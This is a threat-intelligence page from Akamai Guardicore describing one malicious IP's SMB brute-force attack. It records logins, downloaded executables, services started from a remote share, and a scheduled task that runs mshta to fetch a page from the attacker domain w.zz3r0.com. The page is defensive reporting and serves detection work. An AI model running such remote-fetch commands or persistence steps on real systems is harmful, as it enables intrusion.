Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 202.88.249.83Malicious

IP Address: 202.88.249.83Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

SMB Brute Force Access Suspicious Domain File Operation By CMD Successful SMB Login Scheduled Task Run Service Stop DNS Query Execute from Share SMB Download File SMB Share Connect CMD Access Share Service Deletion Scheduled Task Creation Service Creation Service Start

Associated Attack Servers

w.zz3r0.com

117.196.50.50

Basic Information

IP Address

202.88.249.83

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-10-06

Last seen in Akamai Guardicore Segmentation

2023-10-06

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 5 times

SMB Brute Force Successful SMB Login

C:\UVwsjJaD.exe was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 6 times

SMB Brute Force Successful SMB Login

C:\RBUggxEc.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\uvwsjjad.exe as a service named FiTD under service group None

Service Creation Service Start

uvwsjjad.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\rbuggxec.exe as a service named EuEQ under service group None

Service Creation Service Start

rbuggxec.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service EuEQ was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started \\server-backup\c$\atttmatv.exe as a service named tuKN under service group None

Service Creation Service Start

atttmatv.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service tuKN was stopped

Service Stop

The command line c:\windows\cmnpwG.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\SQjWqmBZ.exe

SHA256: 02462c051aa4e27cf6359173c040a6e51f20172d4fcdfa2c11b6fb6a50107ab0

56320 bytes